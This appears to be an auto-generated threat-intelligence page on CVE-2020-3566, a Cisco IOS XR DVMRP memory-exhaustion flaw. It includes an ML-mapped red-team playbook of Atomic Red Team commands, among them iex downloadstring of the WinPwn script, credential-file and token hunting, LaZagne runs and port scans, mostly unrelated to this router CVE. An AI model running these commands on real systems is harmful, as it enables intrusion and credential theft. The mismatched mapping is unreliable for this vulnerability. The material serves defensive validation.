CVE-2020-3566
Overview
This vulnerability is a resource exhaustion flaw caused by insufficient queue management in the Internet Group Management Protocol (IGMP) packet handling within the Distance Vector Multicast Routing Protocol (DVMRP) feature of Cisco IOS XR Software. The affected component improperly processes crafted IGMP traffic, leading to uncontrolled memory allocation in the routing process. This condition results in depletion of process memory resources, specifically impacting the multicast routing functionality in Cisco IOS XR versions 6.4.2 and potentially others.
Vulnerability Description
A vulnerability in the Distance Vector Multicast Routing Protocol (DVMRP) feature of Cisco IOS XR Software could allow an unauthenticated, remote attacker to exhaust process memory of an affected device. The vulnerability is due to insufficient queue management for Internet Group Management Protocol (IGMP) packets. An attacker could exploit this vulnerability by sending crafted IGMP traffic to an affected device. A successful exploit could allow the attacker to cause memory exhaustion, resulting in instability of other processes. These processes may include, but are not limited to, interior and exterior routing protocols. Cisco will release software updates that address this vulnerability.
Impact
An unauthenticated remote attacker can exploit this vulnerability by sending crafted IGMP traffic to exhaust the process memory of the affected device. This can disrupt or destabilize critical routing processes, potentially causing network outages or degraded routing performance. No credentials or user interaction are required, enabling denial of service conditions that impact network availability and reliability.
Solution
Cisco has released software updates addressing this vulnerability in Cisco IOS XR Software version 6.4.2. Administrators should apply the updates as detailed in Cisco Security Advisory cisco-sa-iosxr-dvmrp-memexh-dSmpdvfz available at https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxr-dvmrp-memexh-dSmpdvfz. No specific workarounds are provided; patching to the fixed software version is the recommended mitigation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Distance Vector Multicast Routing Protocol (DVMRP) feature of Cisco IOS XR Software is rooted in inadequate queue management for Internet Group Management Protocol (IGMP) packets. This deficiency allows an unauthenticated, remote attacker to send specially crafted IGMP traffic to an affected device, leading to memory exhaustion. The exploitation of this vulnerability can destabilize the device by consuming its available memory resources, which may adversely affect various critical processes, including both interior and exterior routing protocols. As a result, the device may experience performance degradation, service interruptions, or even complete outages, thereby compromising the overall network infrastructure.
Attack vectors for this vulnerability primarily involve the manipulation of IGMP packets. An attacker could initiate a denial-of-service (DoS) attack by flooding the targeted device with a high volume of crafted IGMP traffic. This barrage of malicious packets can overwhelm the device's memory management capabilities, leading to a state where legitimate processes cannot function effectively. The attacker does not require authentication to exploit this vulnerability, significantly lowering the barrier to entry for potential threats. Scenarios may include targeted attacks against service providers or enterprises that rely heavily on multicast routing for video streaming, conferencing, or other bandwidth-intensive applications, where even brief disruptions can have serious repercussions.
The real-world impact of this vulnerability can be profound, particularly for organizations that depend on Cisco IOS XR Software for their networking needs. The potential for memory exhaustion can lead to significant business risks, including loss of revenue due to service outages, damage to reputation from degraded service quality, and increased operational costs associated with incident response and recovery efforts. Additionally, the instability of routing protocols can result in broader network disruptions, affecting not only the targeted device but also connected systems and services. In environments where high availability and reliability are paramount, such vulnerabilities can expose organizations to severe operational challenges and financial liabilities.
To detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. Regular monitoring of network traffic for unusual patterns, particularly an influx of IGMP packets, can help identify potential exploitation attempts. Intrusion detection systems (IDS) and intrusion prevention systems (IPS) can be configured to alert administrators to anomalous traffic behaviors that may indicate an ongoing attack. Furthermore, applying the latest software updates provided by Cisco is crucial in addressing the vulnerability and ensuring that devices are fortified against exploitation. Network segmentation and the principle of least privilege can also be employed to limit the potential impact of an attack, isolating critical systems from those that may be more vulnerable.
In conclusion, the vulnerability associated with DVMRP in Cisco IOS XR Software presents a significant threat to network stability and security. Understanding the technical details, potential attack vectors, and real-world implications is essential for organizations to effectively safeguard their infrastructures. By adopting proactive detection and mitigation strategies, businesses can reduce their risk exposure and maintain the integrity of their network operations in the face of evolving cybersecurity threats.
Recent CSURFACE threat intelligence indicates a significant increase in the Exploit Prediction Scoring System (EPSS) score for CVE-2020-3566, rising by over 50% to a current value near the 0.04 mark. This upward trend, corroborated by our telemetry showing a steady week-over-week increase, suggests growing attacker interest or improved exploitability conditions, despite the absence of new public exploit code. The heightened EPSS score elevates the vulnerability’s likelihood of being targeted in the wild, underscoring an increased risk to organizations running Cisco IOS XR Software with the affected DVMRP feature. While no ransomware groups have been directly linked to this vulnerability yet, the rising exploitability metric signals that threat actors may prioritize this vector in future campaigns. Consequently, defenders should recognize this shift as an indicator of escalating threat potential, warranting closer monitoring and prioritization within vulnerability management processes.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Cisco | Ios Xr | 6.4.2 |
cpe:2.3:o:cisco:ios_xr:6.4.2:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2020-3566 |
| tools.cisco.com |
GitHub CVE
vendor-advisory
x_refsource_CISCO
|
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxr-dvmrp-memexh-dSmpdvfz |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-3566 |